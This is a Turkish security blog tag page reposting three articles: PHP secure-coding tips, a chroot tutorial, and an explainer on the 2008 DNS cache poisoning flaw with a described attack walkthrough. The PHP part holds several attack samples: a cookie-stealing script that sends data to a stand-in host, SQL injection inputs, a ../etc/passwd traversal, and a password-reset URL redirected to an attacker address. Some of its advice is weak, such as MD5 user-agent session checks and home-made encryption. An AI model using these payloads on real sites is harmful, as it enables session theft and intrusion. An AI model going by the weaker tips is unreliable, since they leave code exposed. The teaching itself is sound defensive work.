bilgiguvenligi olarak etiketli yazılar

PHP için önemli güvenlik önlemleri.

17 Kas

Serkan tarafından Güvenlik kategorisinde yayınlanmıştır

3 yorum

PHP’nin güvenlik zafiyetleri olduğu, bir çok anlamda yetersiz bir dil olduğu söyleniyor. Hatta Unix camiasının istenmeyen çocuğu gibi. Görüşüm, bu durumun, kaliteli PHP programcılarının (PHP Hackers) olmamasından ve PHP’nin nispeten kolay öğrenilen bir dil olmasından kaynaklanıyor. Bu  da ilk olarak güvenlik konusunda zafiyetlere yol açıyor. Şimdi güvenlik konusuna girelim.Şu kesin; hiç sağ elinle sol kulağını tutmadan, bazı yöntemleri uygulayarak güncel web zafiyetlerinin %80 inden kaçmak mümkün. Ve bu PHP’de çok kolay bir şekilde yapılabilir.

1.Register Globals

Her güvenlik yazısında yüzlerce kere değinilmesine rağmen hala Register Globals kullanabilecek insanların olması ürkütücü! Bilindiği gibi Register Globals, $_Request (POSTve GET) değişkenlerini sanki o belgede tanımlanmış değişkenlermiş gibi göstererek direk o değişkene erişilmesine olanak verir.

Örnek:
register_globals.php
<?php
echo $ornek;

?>

http://localhost/php_guvenlik/register_globals.php?ornek=deneme diye sayfadan çağrıldığında ekranda “deneme” yazıldığını göreceksiniz. ornek=deneme kısmını değiştirerek “ornek” değişkeninin değerini de adres çubuğundan kontrol edebilirsiniz. Ne büyük bir delik değil mi? Neyse ki register globals artık öntanımlı olarak kapalı geliyor ve PHP 6 ile birlikte de dilden çıkarılıyor. Eğer böyle bir global değişkene ihtiyaç duyan bir web uygulamanız varsa kodları komple gözden geçirmelisiniz.

2.Form Değişkenlerin Kontrolü ve Cross Site Scripting

Yine yüzlerce kere değinilen bir konu, motto şu: “Kullanıcıya asla güvenme!” . Kullanıcıdan aldığımız her şeyi önce acaba bu nükleer bir atık mı, hediye paketi süsü verilmiş bir bombamı, yoksa masum bir istek mi diye eldivenleri takıp laboratuar şartlarında incelememiz gerekir. Bir örnek vermek gerekirse şu yeter sanırım:

2003 yılında Hotmail Passport hesabında şöyle bir olay gerçekleşmişti:

https://register.passport.net/emailpwdreset.srf?lc=1033&em= kurban@hotmail.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır &id=&cb=&prefem= hacker@attacker.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır &rst=1 bu şekilde kurban@hotmail.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır kullanıcısının bilgileri hacker@attacker.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır maline gönderiliyordu. Ve bu açığa sebep olan Microsoft gibi bir şirket idi! Buradan hareketle mail adresi ve kullanıcı adının girildiği ve karşılığında parola kurtarma mailinin adresinize geldiği bir senaryo:

<form action=”reset.php” method=”GET”>
<table>
<tr><td>Kullanıcıadı</td><input type=”text” name=”kad”/></td></tr>
<tr><td>Parola</td><input type=”text” name=”email”/></td></tr>
<tr><td></td><td><input type=”submit” value=”Kurtar” /></td></tr>
</table>

</form>

http://localhost/reset.php?kad=osman&email= osman@orhan.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır

<?php
$kad    = $_GET['kad'];
$email = $_GET['email];
function kurtar($kad ,$email)
{
//Kullanıcı adını veritabanından sorgula ve email adresine gerekli bilgileri yolla.
}
?>

http://localhost/reset.php?kad=kamuran&email= osman@osman.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır ile kamuran isimli kullanıcının bilgileri osman@osman.comBu mail adresi spam botlara karşı korumalıdır, görebilmek için Javascript açık olmalıdır a gönderiliyor.

Sırf siz email adresini kontrol etmediğiniz için. Güvenlik için kullanıcıdan gelen verileri kontrol etmeliyiz, $email değişkenindeki değerin bir email olup olmadığını küçük bir email_valid() fonksiyonu ile yapabiliriz ayrıca adresinin bu kullanıcıya ait olup olmadığını kontrol etmeliyiz, ondan sonra email adresine bir mail geçebilirsiniz!

PHP için önemli güvenlik önlemleri. Resim

Owasp Top #1 XSS

XSS nedir?

“XSS açıkları uygulama kullanıcıdan veri alıp, bunları herhangi bir kodlama ya da doğrulama işlemine tabi tutmadan sayfaya göndermesi ile oluşur. XSS saldırganın kurbanın tarayıcısında kullanıcı oturumları bilgilerin çalınmasına, web sitesinin tahrif edilmesine veya solucan yüklenmesine sebep olan betik çalıştırmasına izin verir .”

Hemen bir örnek verelim, burada kullanıcının oturum bilgileri çalınarak benimsunucum.org adresine gönderiliyor.

<form action=”yorum.php” method=”GET” />
İsim: <input type=”text” name=”ad” /><br />
Yorum: <textarea name=”yorum” rows=”10″ cols=”60″></textarea><br />
<input type=”submit” value=”Yorumla” /></p>
</form>
yorum.php
<?php
$ad    = $_POST['ad'];
$yorum  = $_POST['yorum'];
echo “<p>$ad nın yorumu <br />”;
echo “<blockquote>$yorum</blockquote></p>”;
?>

İşte burada devreye giriyor. Yollanan veriler http://sizinsite.com/yorum.php?ad=osman&yorum=yorum gibi gitmesi gerekirken cin fikirli bir kullanıcı bu adresi şöyle değiştiriyor:

http://sizinsite.com/yorum.php?ad=osman&yorum=<script>document.location=’http://benimsunucum.org/kaydet.php?cookies=’ + document.cookie </script>

yazarak oturum bilgilerinizi kaydediyor. Verilerin POST ile gönderilmesi buna bir çözüm olabilir diyorsanız yanılıyorsunuz. Zira GET ve POST metotlarının ikiside kolayca manipüle edilebiliyor. Sadece POST ile adres satırında alenen değil  gizli şekilde yapılıyor. Bu web programcılarının yaptığı en büyük zafiyet. Bunun için gelen veriler önce bir değerlendirmeye alınmalı, daha sonra kullanılmaya gönderilmelidir. Şunun gibi güvenli bir kod yapılabilir.

$ad    = htmlentities($_POST['ad'], ENT_QUOTES, ‘UTF-8′);
$yorum = htmlentities($_POST['yorum'], ENT_QUOTES, ‘UTF-8′);
strip_tags() ile de bu iş çözülebilir, strip_tags() fonksiyonu değişkendeki bütün html taglarını siler.(Aldığı ek parametre ile bazı etiketlere izin verebilirsiniz.) htmlentities ise değişkendeki html etiketlerini bir htmlentities tablosundaki değerlerle değiştirip değişkeni güvenli hale getirir.
Burada girdileri kontrol ediyoruz ama can sıkıcı bir başka durum ise kontrol edilmeyen veya gözden kaçmış bir alanın yanlışlıkla veritabanına alınması ve kullanıcıya gösterilmesi esnasında yani çıktı kısmına problem oluşturması. Eğer değişkenleri kontrollü alıyorsanız problem yok ama atlanılabilecek bir durum sözkonusu olabilir diye kullanıcıya verilerin sunulması aşamasında da htmlentities ve benzeri html tagl ayıklayıcılarıyla kontrol edilirse çifte güvenlik sağlanmış olur. Mesela kullanıcıya veritabanına bilgi girmeden önce “önizleme” (preview) sunan bir değişken böyle bir soruna yol açabilir.

SQL Injection

Örnek bir formumuz olsun:

<form action=”giris.php” method=”POST”>
<table>
<tr><td>Kullanıcıadı</td><input type=”text” name=”kad”/></td></tr>
<tr><td>Parola</td><input type=”password” name=”parola”/></td></tr>
<tr><td></td><td><input type=”submit” value=”Gir” /></td></tr>
</table>
</form>

Şimdi bu formu işleyen PHP kodumuza bakalım:

<?php
$kadi    = $_POST['kad'];
$parola = $_POST['parola'];
$db->query(“SELECT * FROM kullanici WHERE kadi = ‘$kadi’ AND parola = ‘$parola’”);
?>

Kodu fazla detaylandırmadan hemen hatalara bakalım. Kullanıcıdan gelen veriler kontrol edilmede direk veritabanında işleme alındı. En büyük zafiyetlerden birisi bu. Mottomuzu hatırlayalım. Kullanıcıya asla güvenme! Mesela kullanıcı adı kısmına şu yazılsa:

root – eğer varsa root kullanıcı bilgilerini ekrana dökecekti. SQL de “–” işareti yorum başlangıcını ifade eder. Yani koddaki geri kalan AND parola = ‘$parola’ kısmı artık yok oldu. Ya da şu şekilde bir kod enjekte edilebilir.

kullaniciadi = ‘osman’ OR 1 =1

kullanıcıadı kısmına osman or 1=1 yazılarak tüm kullanıcıların bilgisine ulaşılınabilinir. Pis bir elmayı yıkamadan yemek gibi. Hasta olmamak için önce elmayı yıkamamız gerekli. Öncelikle daha önce belirttiğimiz gibi html filtreleyicileri kullanılmalı:

$kad = htmlentities($_POST['kad'], ENT_QUOTES, ‘UTF-8′);
$parola = htmlentities($_POST['parola'], ENT_QUOTES, ‘UTF-8′);

Daha sonra klasik SQL sınıfları yerine PDO gibi bir sınıf kullanarak (Dilin doğal kütüphanesi olduğu için bunu tercih ediyorum ) veriler veritabanından sorgulanmalı;

$query=$db->prepare(“SELECT * FROM kullanici WHERE kullaniciadi = :kad AND parola = :parola”);
$query->bindparam(‘:kad’,$kad,PDO::PARAM_STR);
$query->bindparam(‘:parola’,$parola,PDO::PARAM_INT);
$query->execute();
$kullanici = $query->fetch();

Burada kad bir string ve parola bir integer değer olarak sorgulanıyor. Bunların dışındaki değerler için $query->execute() işlemi gerçekleştirilmiyor. Bu yöntem (prepared statments) sql injection saldırılarını %99 azaltabilir (belki %99,9) fakat diğer bir özelliğide normal sql sorgularına göre hızlı çalışması. Yani güvenliği ön plana çıkaryım derken çoğu zaman performanstan kayıp yaşanır ama ama burada bu iş tersine dönüyor. Bu da SQL injectionu savuşturmada elimizi güçlendiriyor.

Session İşlemleri

SESSION işlemleri bir çok web uygulamasının kullanıcı ve oturum yönetiminde kullanılıyor. Ama sadece browserda depolanan SESSION cookie lerini kullanarak oturum yönetimi yapan uygulamalar güvensiz uygulamalardır. Kötü niyetli kullanıcı XSS açıklarından yararlanıp browserda depolanan SESSIONID leri çalarak  , bu SESSIONID ile  siteye gelip o kullanıcıyı taklit ederek bilgilerine ulaşabilir. Bundan dolayı her sayfa için belli bir anahtar ve değer ikilisi kullanmak şu an için en mantıklı çözüm:

$_SESSION['anahtar'] = md5($_SERVER['HTTP_USER_AGENT']);

ve SESSION kullanan sayfalarda bir kilit yapıp bunların uyup uymadığını kontrol edebilirsiniz.

$kilit = md5($_SERVER['HTTP_USER_AGENT']);
if($_SESSION['anahtar'] == $kilit){
// İşlem yap
}
else{
// İşlemi bitir.
}

Kendi şifreleme algoritmalarınızı oluşturabilir ve sayfalar arasında iletişim kuran verileri bu algoritma ile şifreleyip geri şifreyi çözerek uygulamayı kendi içinde güvenli hale getirebilirsiniz.

Dosya Enjektesi ve RFI

Bazı sınıflarınızı PHP nin include veya require methodlarıyla diğer dosyaların içinden çağırabilir ve kod karmaşasının önüne geçebilirsiniz. Bunun için kullanılınan include ve require methodları tahmin etmediğiniz açıklara sebep olabilir.

if(isset($page))
{
include($page);
}

Burada $page değişkeniyle gelen değer varsa direk include ediyoruz. Mantıklı olan dosyayı direk değil kontrol ederek require_once metoduyla sayfaya dahil etmek.

Include , include_once ve require, require_once _once takısı alan metod daha önce o dosyanın dahil olup olmadığına bakar yani siz sayfanın belli yerlerinde tek bir kod çalıştırmak istiyorsunuz. Diyelim ki tarih.php sayfasında bir tarih-saat formatınız var ve onu sayfanın farklı yerlerinde ekrana basmak istiyorsunuz.

include(‘tarih.php’); // tarihi bastı
include(‘tarih.php’); // yine tarihi bastı
Oysa

include_once(‘tarih.php’); // tarih basıldı

include_once(‘tarih.php’); // daha önce bu include işlemi gerçekleştirildiği için tekrarlanmadı.

Yapılan testlerde require_once nin en  hızlı yöntem olduğu gözlenmiştir.

Mesela sayfaların farklı alanlarını göstermek için şöyle bir kod kullanıyor olalım:

index.php?sayfa=iletisim.html

PHP kodu:

<?php
$sayfa = $_GET[‘sayfa’];
include ‘$sayfa’;
// veya echo $sayfa;
?>

Masumca iletişim sayfasını göstermesi gereken kodumuza bir de şimdi bakalım:

index.php?sayfa=../etc/passwd

Ekrana sunucunun root kullanıcı bilgileri geldi! Evet elimizle sunucuyu verdik. Sisteme tam yolu göstererek sayfaya dâhil etmek ve require_once metodunu kullanarak bu zafiyeti atlatabiliriz.

$dir = ‘./inc/’;

require_once $dir . $sayfa ;  // sadece inc içindekileri require edebilir.

PHP Tip Denetimi ve Güvenlik

PHP de tip denetim yapısı katı değildir ve bu güvenlik sorunlarını tetiklemektedir. Uygulamanızda değişken tiplerinin neler olduğunu bilmek ve mantıksal olarak kullanıcıdan gelen değişkenlerin türünü bilmek birçok durumda hataları ortadan kaldırabilir. Mesela kullanıcının yaşını getiren bir form değişkenimiz olsun;

$yas = $_POST['yas']

Şimdi bu “$yas” değişkeninin sadece tamsayı olmasını bekleriz, ama oradan biraz önce bahsettiğimiz gibi farklı şeyler gelebilir. Bunun için $yas değişkenin gerçekten beklediğimiz “tamsayı” türünden bir değişken mi yoksa farklı türden bir değişken mi gelmiş bir bakalım.

Yöntem-1

if(is_int($yas)){
echo ‘Yaş bir tamsayı’;
}
else{
echo ‘Hata! Yaş kısmında XSS!’;
}

Burada değişkenin türüne bakılıyor eğer tamsayı ise izin veriliyor yoksa hata veriyor.

Yöntem-2

$yas = (int) $_POST['yas'];

bu yöntemle $yas değişkenini bir tamsayıya çevirdik. Eğer yaş değişkeninden “<script> … </script>” gibi bir değer gelirse (int) yöntemi onu hemen bir tamsayıya çeviriyor. Burada $yas = 0 oluyor ve “<script> … </script>” kısımlar etkisiz hale getiriliyor. settype(), gettype(),is_string(),is_int(),is_float(),is_bool() fonksiyonlarıyla tür kontrollerini yapabilirsiniz. Ve bu fonksiyonlar güvenli web uygulamaları geliştirmenizde çok işinize yarayacaktır.

Uzunlukları Kontrol Etmek

Gelen değişkenlerin uzunluklarını kontrol etmek de bazı durumlarda çok işinize yarayabilir. Yine mantıksal adımlarla ilerleyelim. Mesela bir formdan kişinin kullanıcı adı ve parolasını alalım. Veritabanında bu bilgiler VARCHAR türü 12 karakterle tutulan bir alan olsun. Gelen form verilerini direk işleme sokmak yerine önce kaç karakterli olduklarına bakalım.

$kullaniciadi = $_POST['kullaniciadi'];
$parola = $_POST['parola'];
if(strlen($kullaniciadi) > 12 || strlen($parola) > 12 )
{
echo ‘Bu kullanıcı başka bir şeyin derdinde!’;
}
else
{
echo ‘İşlem tamam!’;
//Giriş işlemleri.
}

Buradaki kodda kullanıcıadı ve parola değişkenlerinin uzunluklarını kontrol edip 12 karakterden büyük olup olmadıklarına baktık. Eğer herhangi birisi 12 karakterden uzunsa hata verilmesini sağladık. Bu işlem ile URL Encode , Desimal ve Heksadesimal HTML ataklarına karşı sizi koruyabilir. Son Olarak hata raporlarının yanlış tanımlanması  büyük sorunlara yol açmasa da haşarı cracker arkadaşlara tahminlerde bulunulmasına ve büyük açığın tespit edilmesinde yardımcı olabilir.

error_reporting(E_ALL);

ile bütün hataları ekrana basarsınız. E_ALL yerine farklı seçeneklerle bu durumun önüne geçebilirsiniz.

www.bilgiguvenliği.gov.tr adresinden osman beyin yazısından alıntıdır.

Popularity: 24% [?]

, , , , , , , , , , , , , , , , , , , ,

chroot nedir?

22 Eki

Serkan tarafından Güvenlik kategorisinde yayınlanmıştır

Yorum yok
Az önce yine ulusalbilgi güvenliği sitemizde gezerken ilgimi çeken bir yazıya rastladım ve sizinle paylaşmak istedim buyrun hep birlikte okuyalım.

1.  Motivasyon

Bu makalede özellikle sunucu servis yazılımlarının ve uygulamaların Chroot ortamında çalıştırılması, kademeli güvenlik anlayışı gibi yaklaşımlardan ziyade basit olarak Chroot nedir ve neden Chroot kullanmak gerekli sorusuna cevap aranmaya çalışılacaktır.

2.  Chroot Nedir?

Chroot, yazılımlar için yeni bir kök (/) dizini tanımlar. Kısaca çalıştırılacak olan servis ya da uygulama için gerekli kütüphane, yapılandırma, sürücü dosyaları (device file), bu servis için belirlenen kök dizinde bulunan ilgili yollara (path) kopyalanır ve hapsedilmiş olarak çalıştırılır.

Peki, Chroot kullanmanın getirdiği avantajlar ve dezavantajlar nelerdir ve neden kullanmak gerekli? Kısaca bu sorunun cevabı, eğer sistem üzerinde Chroot ortamında çalışan bir servis ya da uygulamadan kaynaklanan bir açıklığı kullanarak sisteme sızan bir saldırgan, bütün dosya sistemine ve işletim sistemi kaynaklarına erişim sağlayamayacak ve sadece Chroot için belirlenen kök dizine ve burada bulunan kaynaklara erişim sağlayabilecektir. Ayrıca kısıtlı dosya sistemi erişimi sağlaması yanında kısıtlı komutlara erişim ile de sistem üzerinde bulunan komutlar kümesine erişim de kısıtlanmış olacaktır.

Aşağıdaki şekilde ( Şekil 1 ) Chroot kullanımı ile dosya sistemine erişim şematize edilmiştir.

chroot chroot nedir? Resim

Şekil 1 Chroot Kullanımı İle Yeni Dosya Sistemi Hiyerarşisi

3.  Chroot Nasıl Çalışır?

Chroot komutu

# chroot  /chroot [komut seti]

şeklinde çalıştırılır.

Burada /chroot dizini örnek dizin olarak belirtilmemiştir. Bu dizin yerine isteğe göre herhangi bir dizin seçilebilir.

Örnek bir kullanımı şu şekildedir.

# mkdir /yeni_dizin
# chroot /yeni_dizin

Bütün bu işlemler için chroot komutu, Chroot sistem çağrısını kullanır. Kısaca önce belirlenen yeni kök dizini içerisine girilir ve arkasından Chroot sistem çağrısı çalıştırılır ve son olarak belirlenen kullanıcı kimliğine bürünülerek root kullanıcı haklarından vazgeçilir.

# chdir(“/yeni_dizin”);
# chroot(“/yeni_dizin”);
# setuid(500);
Bu komutun 500 uid’sine sahip kullanıcı tarafından çalıştırıldığı varsayılmıştır.

4.  Örnek Chroot Ortamının Oluşturulması

Daha öncede belirtildiği gibi sadece saldırganın bütün dosya sistemine ve işletim sistemi kaynaklarına erişimi engellenmiş olacaktır. Aşağıda Chroot kullanıma basit bir örnek verilmiştir. Bash kabuğu Chroot ortamı altında çalıştırılacak ve birkaç örnek komut Chroot ortamı altında çalıştırılacaktır.

# mkdir /yeni_dizin
# which bash
/bin/bash
#
# cd /yeni_dizin
# mkdir /bin
# mkdir /lib
# ldd /bin/bash
linux-gate.so.1 =>  (0×00712000)
libtermcap.so.2 => /lib/libtermcap.so.2 (0x00c49000)
libdl.so.2 => /lib/libdl.so.2 (0x00c43000)
libc.so.6 => /lib/libc.so.6 (0x00afe000)
/lib/ld-linux.so.2 (0x00ae0000)
#

Bu çıktıya göre bash için gerekli kütüphane dosyaları teker teker belirlenmeli ve ilgili dizinlere kopyalanmalıdır. Hangi kütüphane dosyalarına ihtiyaç olduğu ‘ldd’ komutu aracılığı ile öğrenilebilir.

# cp –p /lib/libtermcap.so.2 /home/ga/yeni_dizin/lib
# cp –p  /lib/libdl.so.2 /home/ga/yeni_dizin/lib
# cp –p  /lib/libc.so.6 /home/ga/yeni_dizin/lib
# cp –p  /lib/ld-linux.so.2 /home/ga/yeni_dizin/lib

Ardından chroot komutu ile bash kabuğu Chroot olarak belirtilen dizinde çalışmaya başlayacaktır. Chroot ortamı altında çalıştırılmak istenen komutlar ve bu komutlar için gerekli kütüphane dosyaları ‘ldd’ komutu yardımı ile bulunarak ilgili dizinlere kopyalanmalıdır.

# cp –p /bin/bash /yeni_dizin/bin
# cp –p /bin/pwd /yeni_dizin/bin
# chroot /yeni_dizin/ /bin/bash
bash-3.2# pwd
/
bash-3.2# exit

Görüldüğü gibi ‘pwd’ komutu çalıştırıldığında ‘/yeni_dizin’ dizinini kök (/) dizini olarak görülmektedir. Chroot ortamından çıkmak için ‘exit’ komutu kullanılabilir. ‘pwd’ gibi çalıştırılmak istenen komutlar gerekli kütüphane dosyaları ile birlikte ilgili dizinlere kopyalanarak çalıştırılabilirler.

Burada verilen basit bir örnektir. Asıl Chroot kullanım amacı dosya sistemi hiyerarşisi üzerinde dağıtık biçimde erişim sağlayabilen servisler için kullanımı olmalıdır. Bu şekilde saldırgan, sistem üzerinde çalışan bir servisten ya da uygulamadan kaynaklanan bir açıklık ile sisteme sızmayı başardığında bütün dosya sistemine erişimi engellenmiş olacaktır.

5.  Kaynaklar

[1] http://www.sun.com/bigadmin/content/developer/howtos/images/chrooted_fig1.gif

[2] man chroot

Popularity: 15% [?]

, , , , , , , , , , , , , , ,
tubitakuekae

DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması

28 Ağu

Serkan tarafından Güvenlik kategorisinde yayınlanmıştır

Yorum yok

Geçen gün yine nette dolaşırken TÜBİTAK – Ulusal Elektronik ve Kriptoloji Araştırma Enstitüsü’nün (UEKAE) kurmuş olduğu http://www.bilgiguvenligi.gov.tr adresine rastladım benim için gerçekten ulusal çapta devletin böyle bir sistem oluşturması ve piyasadı güvenlik açıklarını bulup düzenlemek ve giderilmesi aşamasında ki çalıması takdire şayandı.

Gerçi site UEKAE nin kurulumdan 2 yıl sonra 2007 de kurulmuş ama gerçekten güvenlik konusunda uzman seviyedeki bilgilerle çok önemli işler yaptıkları ortada. Bu sitenin faydasına istinaden alta tamamen oradan aldığım alınıtıy sizlerle paylaşmak istedim gerçekten dikkat edilmesi gereken bi açık diyerek Bahtiyar Bircan ve Can Bican’ın kalemiyle baş başa bırkaıyorum sizi:

DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması

 Yazdır E-posta
Yazar: Can Bican
01.08.2008

Internet’in temel protokollerinden olan DNS üzerinde çok ciddi bir açık bulunmuştur.

Son günlerde görünürlüğü, etkisi ve alınan önlemleri açısından çokça tartışılan, Dan Kaminsky tarafından bulunan DNS protokol açığı, belli başlı ürünler için çözülmüş olmasına rağmen, açıklığı suistimal edebilecek saldırı araçlarının ortaya çıkması ve hala tüm ağ ve bilgisayar markaları tarafından çözümlerin sunulmamış olmasından dolayı, daha uzunca bir süre güvenlik açısından bir sorun olmaya devam edecek gibi görünmektedir.

Yazanlar: Bahtiyar Bircan, Can Bican

DNS açıklığı bundan üç yıl önce Ian Green adlı bir SANS öğrencisi tarafından farkedilmiş olsa da, Dan Kaminsky’nin açığın pratik uygulamasını farkederek yamaların yayınlandığının açıklaması 9 Temmuz 2008 tarihine, US-CERT tarafında duyurulmasıysa 7 Temmuz 2008 tarihine denk gelmektedir. Bundan takriben bir ay öncesinden beri bilinmesine rağmen açıklık gizli tutulmuş, belli başlı üreticiler çözümlerini koordineli bir şekilde oluşturana kadar herhangi bir açıklama yapılmayarak, açıklığın genel olarak suistimali ihtimali azaltılmıştır.

Internete bağlı tüm DNS sunucularının www.bilgiguvenligi.gov.tr adresinde yayınlamış olduğumuz açıklık ve saldırıyı anlatan makaleyi inceleyerek gerekli önlemlerin alınması tavsiye edilmektedir.

Son günlerde görünürlüğü, etkisi ve alınan önlemleri açısından çokça tartışılan, Dan Kaminsky tarafından bulunan DNS protokol açığı, belli başlı ürünler için çözülmüş olmasına rağmen, açıklığı suistimal edebilecek saldırı araçlarının ortaya çıkması ve hala tüm ağ ve bilgisayar markaları tarafından çözümlerin sunulmamış olmasından dolayı, daha uzunca bir süre güvenlik açısından bir sorun olmaya devam edecek gibi görünmektedir.

DNS açıklığı bundan üç yıl önce Ian Green1 adlı bir SANS öğrencisi tarafından farkedilmiş olsa da, Dan Kaminsky’nin açığın pratik uygulamasını farkederek yamaların yayınlandığının açıklaması 9 Temmuz 20082 tarihine, US-CERT tarafından duyurulmasıysa 7 Temmuz 20083 tarihine denk gelmektedir. Bundan takriben bir ay öncesinden beri bilinmesine rağmen açıklık gizli tutulmuş, belli başlı üreticiler çözümlerini koordineli bir şekilde oluşturana kadar herhangi bir açıklama yapılmayarak, açıklığın genel olarak suistimali ihtimali azaltılmıştır. Bu açıklığın diğer açıklıklara kıyasla farklı yöntemler kullanarak çözülmesinin en büyük nedenlerinden biri de, Internet altyapısına arz ettiği tehlikedir: “Sıfırıncı gün saldırıları”nın hemen hemen tüm DNS sunucularını etkileyeceği düşünülürse, Internet altyapısında etkili olan başlıca markalar yamalarını üretmeden açıklığın açıklanması, ancak kötü niyetli bir hareket olabilirdi.

Bu yazıda, açıklığın niteliği ve olası tesiri hakkında bilgi verilecek, örnek bir saldırı gösterilecek ve alınabilecek önlemler belirtilecektir.

Açıklığın Doğası

DNS (Domain Name System) Internet’teki alan isimlerinin (www.tubitak.gov.tr gibi) IP adreslerine (192.140.80.201 gibi) ve IP adreslerinin alan isimlerine dönüştürülmesinden sorumludur. Bu göreviyle Internet’e bağlı herhangi bir sistemin normal çalışmasında kritik bir bileşendir. DNS protokolünün tanımı ve gerçeklenmesi RFC 1035′te4 tanımlanmıştır.

DNS kullanılmaya başladığından beri sistemlerde en sık bulunan “önbellek zehirlenmesi”, bu yazının konusu olan DNS açıklığının da saldırdığı zayıflıktır. Önbellek zehirlenmesi, bir DNS sunucusuna yetkisiz bir kaynaktan veri yüklenmesine verilen genel isimdir. Hatalı yazılımla, yapılandırma hatalarıyla ya da DNS protokolünün açıklarıyla başarıyla iletilen özgün olmayan veri, sistem performansını artırmak için saldırılan sunucunun önbelleğine gelir ve böylece önbellek “zehirlenmiş” olur. Alan adının sunucusunun IP adresinin ya da alan adının NS kaydının yönlendirilmesine dayanan değişik yöntemlerle zehirlenme mümkündür. Bir üçüncü yöntem de, gerçek alan adı sunucusu yanıt vermeden, kötü niyetli sunucunun araya girerek yanıt vermesine dayananan, man-in-the-middle (araya girmek) türünden bir saldırıyla DNS sunucusunun önbelleğinin zehirlenmesidir. Bu tür saldırılar, sorgu yapıldığında asıl yanıt vermesi beklenen DNS sunucusundan önce saldırganın yanıt vermesi esasına dayanır.

Bir DNS mesajı, header (başlık), question(soru), answer(yanıt), authority(yetki), additional(ekler) olmak üzere beş bölümden oluşur. Bunlardan konuyla ilgili olan “header” bölümünün ilk 16 biti ID olarak isimlendirilmiş bir “nonce”5 olarak tanımlıdır ve sorguyu düzenleyen program tarafından doldurulan bir alandır. Bu alan, sorguya verilen yanıta da birebir kopyalanır ve böylece soru-yanıt eşleştirmesi sağlanabilir. Araya girilerek yapılan önbellek zehirlenmesi saldırıları, bu sayının tahmin edilmesine dayanır.

Önce Ian Green’in farkettiği ve Dan Kaminsky’nin farkındalığı artırarak uygulama seviyesinde çözümleri koordine ettiği açıklık, kullandığı yöntemler ve zafiyetler açısından yeni olmamasına rağmen, olası nonce’ların azlığı, sorguların kaynak kapılarının rastgele seçilmemesi ya da yetersiz rastgelelikte seçilmesi gibi durumların bir arada araştırılması sonucunda, etkili bir yöntem bulunduğunun görülmesinden sonra açıklık olarak belirlenmiştir.

Aşağıda gösterilen örnek bir saldırı sonrasında saldırılan DNS sunucusu sorgulara hatalı yanıtlar verebilir ve kullanıcıları istedikleri sunucular yerine saldırganın istediği sunuculara aktarabilir. Bunun sonucunda web trafiği, e-posta iletileri ve diğer önemli ağ üzerinden iletilen veriler saldırganın kontrolündeki sistemlere yönlendirilebilir.

Kullanılan DNS sunucusunun açıklığının bulunup bulunmadığı Dan Kaminsky’nin sayfasından (http://www.doxpara.com/) kontrol edilebilir.

Örnek Bir Saldırı

1. Saldırı öncesi keşif :

(1) 192.168.1.26 IP adresli saldırgan hedef DNS sunucu üzerinden www.ntvmsnbc.com sayfasını sorgular.

(2) DNS sunucu , www.ntvmsnbc.com alan adı kendi üzerinde olmadığı için ntvmsnbc.com alan adından sorumlu olan ns1.ntvmsnbc.com sunucusundan alan adını sorgular.

(3) ns1.ntvmsnbc.com sunucusu, www.ntvmsnbc.com alan adı için geçerli olan 88.255.82.100 IP adresini yanıt olarak hedef DNS sunucusuna döndürür.

(4) DNS sunucusu da saldırgana www.ntvmsnbc.com alan adının IP adresi olan 88.255.82.100 adresini döndürür. Burada dikkat edilmesi gereken hedef DNS sunucusunun saldırgan ile haberleşirken istek ve cevaplarda aynı kaynak portu (6134) kullanması ve tahmin edilebilir TXID (0×6749) değerini kullanmasıdır. Hedef DNS sunucusundan gelen cevabın geçerli olması için istekte bulunurken kullanılan TXID değerinin cevap kısmında da aynen dönmesi gerekmektedir.

11 DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması Resim

Yapılan sorgulamanın dig çıktısı aşağıdadır. :

22 DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması Resim

Bu şekilde DNS sunucuda açık olduğu tespit edildikten sonra asıl saldırıya geçiyoruz.

2. Saldırı

Saldırı 3 adımda gerçekleştirilecektir.

2.1 Birinci aşamada saldırgan hedef DNS sunucuya ntvmsnbc.com alan adına ait bir çok alt alan ismi (abc1.ntvmsnbc.com , abc2.ntvmsnbc.com ….. xyz9832.ntvmsnbc.com ) için DNS sorgusu göndermektedir. Burada amaç hedef sunucunun ntvmsnbc.com alan adı için yetkişi sunucuya birçok sorguda bulunmasını sağlamaktır.

33 DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması Resim

2.2 İkinci aşamada hedef DNS sunucu tüm alt alan isimleri için ns1.ntvmsnbc.com sunucusuna istekte bulunmaktadır. Ns1.ntvmsnbc.com sunucusu da tüm alanlar için geri cevaplarda bulunmaktadır. Fakat aynı zamanda saldırgan da hedef DNS sunucuya sanki ns1.ntvmsnbc.com sunucusundan geliyormuş gibi cevaplar göndermektedir. Bu cevaplarda www.ntvmsnbc.com alan adı için IP adresini kendisi göstermektedir ve her seferinde TXID alanını arttırarak tahmin etmeye çalışmaktadır.

44 DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması Resim

Nihayet abc4.ntvmsnbc.com alan adı için saldırganın gönderdiği cevap paketlerinde TXID alanı tahmin edilmekte ve hedef DNS sunucu bu cevabın gerçek ns1.ntvmsnbc.com sunucusundan geldiğini Kabul etmektedir. Bu sayede saldırgan hedef DNS sunucusunun belleğini zehirlemiş oluyor.

2.3 Üçüncü adımda kurban zehirlenen DNS sunucuna www.ntvmsnbc.com adresini sorgulamaktadır (1) . DNS sunucu da önbelleğinde www.ntvmsnbc.com adresine ait kayıt olduğu için gerçek ns1.ntvmsnbc.com sunucusuna sormadan zehirlenmiş önbelleğindeki 192.168.1.26 adresini cevap olarak vermektedir (2) . Bu durumdan habersiz kurban gerçek www.ntvmsnbc.com sayfası yerine saldırganın oluşturduğu tuzak sayfayı ziyaret etmektedir. (3)

55 DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması Resim

Saldırı yapıldıktan sonraki dig çıktısı aşağıdadır.

66 DNS Önbellek Zehirlenmesi: Açıklık ve Kapanması Resim

